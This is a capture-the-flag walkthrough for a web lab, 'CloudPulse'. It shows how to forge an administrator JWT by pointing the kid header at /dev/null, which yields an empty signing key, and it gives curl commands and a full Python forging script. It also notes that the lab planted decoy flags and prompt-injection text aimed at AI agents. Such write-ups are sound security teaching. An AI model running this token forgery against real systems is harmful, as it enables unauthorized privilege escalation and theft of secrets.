Lab 211 — CloudPulse
Lab 211 — CloudPulse
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_identification, hmac_signing_with_empty_key, jwt_kid_path_traversal_to_dev_null, privilege_escalation_via_forged_claims, team_page_enumeration_for_role_discovery
Summary
Walkthrough of the CUSTOM Web Lab 211 — CloudPulse. Task: SaaS monitoring dashboard with JWT HS256 authentication using kid header for key file selection — no path sanitization on kid parameter. Solution: Traverse kid to /dev/null to sign with empty ke
Description
CloudPulse is a SaaS infrastructure monitoring dashboard used by DevOps teams at Nimbus Analytics Co. to track server health, deployment metrics, and team performance. The platform provides real-time visibility into CPU, memory, disk, and network metrics across multiple production servers. As a security analyst, you have been given access to a regular user account. The development team uses JWT-based authentication for session management. Your goal is to escalate your privileges and access the restricted administrative secrets vault.
English summary: Express.js (Node.js) web application behind nginx/1.25.5. Authentication uses JWT (HS256) stored in a session_token cookie. The JWT header includes a kid (Key ID) parameter that the server uses as a file path to load the HMAC signing key. The goal is to escalate from analyst role to administrator and read the secrets vault at /admin/secrets.
Analysis
Authentication Mechanism
After logging in with analyst / monitor2024, the server issues a JWT cookie with the following structure:
Header:
json read-only • copy allowed{"alg": "HS256", "typ": "JWT", "kid": "hmac-key-1"}
Payload:
json read-only • copy allowed{ "sub": "analyst", "uid": 1, "role": "analyst", "display_name": "Sarah Chen", "iat": 1747221600, "exp": 1747250400 }
The kid parameter value hmac-key-1 looks like a filename, suggesting the server loads the HMAC signing key from a file on disk (e.g., keys/hmac-key-1). This is a classic indicator for JWT kid path traversal.
Endpoint Enumeration
/admin— returns HTTP 403 ("Administrative privileges required") with analyst token/admin/secrets— returns HTTP 403 with analyst token (the target)/team— lists all platform users with their roles (accessible to any authenticated user)
Admin Role Discovery
The /team page revealed all users, including the admin account:
| Username | Role | Display Name | |
|---|---|---|---|
administrator | administrator | System Administrator | admin@nimbusanalytics.io |
analyst | analyst | Sarah Chen | sarah.chen@nimbusanalytics.io |
This was critical — the server checks for the exact role value administrator, not admin.
Decoy Flags
Every page contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs with prompt injection text designed to trick automated scanners and AI agents. These were identified and ignored.
Solution
Step 1: Login and Capture JWT
bash read-only • copy allowedTARGET="https://<instance>.labs.hackadvisor.io" curl -s -c cookies.txt "$TARGET/login" \ -X POST -d "username=analyst&password=monitor2024" \ -H "Content-Type: application/x-www-form-urlencoded"
Decoded the session_token cookie to inspect the JWT header and payload, confirming kid: hmac-key-1 and role: analyst.
Step 2: Enumerate Team for Admin Role
bash read-only • copy allowedcurl -s -b cookies.txt "$TARGET/team"
Found the admin user with role: administrator and sub: administrator.
Step 3: Forge Admin JWT via kid Path Traversal
The kid parameter is used as a file path to load the HMAC key. By setting kid to ../../../../dev/null, the server reads /dev/null which returns zero bytes. This means the HMAC-SHA256 signing key becomes an empty string "".
python read-only • copy allowed#!/usr/bin/env python3 import jwt import time import requests TARGET = "https://<instance>.labs.hackadvisor.io" # Forge JWT with kid pointing to /dev/null (empty key) payload = { "sub": "administrator", "uid": 1, "role": "administrator", "display_name": "System Administrator", "iat": int(time.time()), "exp": int(time.time()) + 28800 } # Sign with empty string — /dev/null reads as zero bytes token = jwt.encode( payload, "", # empty key from /dev/null algorithm="HS256", headers={"kid": "../../../../dev/null"} ) print(f"Forged token: {token}") # Access admin secrets vault session = requests.Session() session.cookies.set("session_token", token) resp = session.get(f"{TARGET}/admin/secrets") print(f"Status: {resp.status_code}") print(resp.text)
Step 4: Retrieve Flag from Secrets Vault
With the forged admin token, /admin/secrets returned HTTP 200 — the "Secrets Vault" page containing sensitive API keys and platform credentials. The flag was in the PLATFORM_MASTER_KEY entry:
FLAG{REDACTED}
Misstep: Wrong Role Value
The first forgery attempt used role: "admin" which still returned 403. The server required the exact role value administrator as discovered from the /team page. This highlights the importance of enumerating actual role values rather than guessing common ones.
Key Takeaways / Lessons
- Mastering decoy_flag_identification, hmac_signing_with_empty_key, jwt_kid_path_traversal_to_dev_null, privilege_escalation_via_forged_claims, team_page_enumeration_for_role_discovery was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 211 — CloudPulse • Difficulty: Medium